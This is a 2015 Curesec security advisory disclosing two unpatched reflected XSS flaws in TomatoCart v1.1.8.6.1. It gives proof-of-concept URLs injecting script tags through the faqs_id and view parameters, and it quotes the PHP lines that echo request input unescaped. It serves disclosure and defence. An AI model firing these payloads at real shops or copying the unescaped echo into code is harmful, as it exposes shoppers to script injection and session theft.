TomatoCart v1.1.8.6.1: XSS

Date: 2015-11-13 11:35:03

Security Advisory – Curesec Research Team

1. Introduction

Affected Product:	TomatoCart v1.1.8.6.1
Fixed in:	not fixed
Fixed Version Link:	n/a
Vendor Contact:	support@tomatocart.com
Vulnerability Type:	XSS
Remote Exploitable:	Yes
Reported to vendor:	09/29/2015
Disclosed to public:	11/13/2015
Release mode:	Full Disclosure
CVE:	n/a
Credits	Tim Coen of Curesec GmbH

2. Overview

There are two reflected XSS vulnerabilities in TomatoCart v1.1.8.6.1. With this, it is possible to inject JavaScript keyloggers, or to bypass CSRF protection, which in the case of TomatoCart may lead to code execution.

3. XSS 1

CVSS

Medium 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N

Proof of Concept

http://localhost/ecommerce/TomatoCart-v1-released-v1.1.8.6.1/info.php?faqs&faqs_id='"></script><script>alert(1)</script>

Code

templates/bootstrap/content/info/faqs.php:70 if(question.getParent().id == 'faq<?php echo $_GET['faqs_id']; ?>') { question.getElement('i').set('class', 'icon-minus'); question.getNext().setStyle('display', ''); }

4. XSS 2

CVSS

Medium 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N

Proof of Concept

http://localhost/ecommerce/TomatoCart-v1-released-v1.1.8.6.1/checkout.php?checkout&view='"></script><script>alert(1)</script>

Code

templates/bootstrap/content/checkout/checkout.php:182 view: '<?php echo $_GET['view']; ?>',

5. Solution

This issue has not been fixed by the vendor

6. Report Timeline

09/29/2015	Informed Vendor about Issue (no reply)
10/21/2015	Reminded Vendor of Disclosure Date (no reply)
11/13/2015	Disclosed to public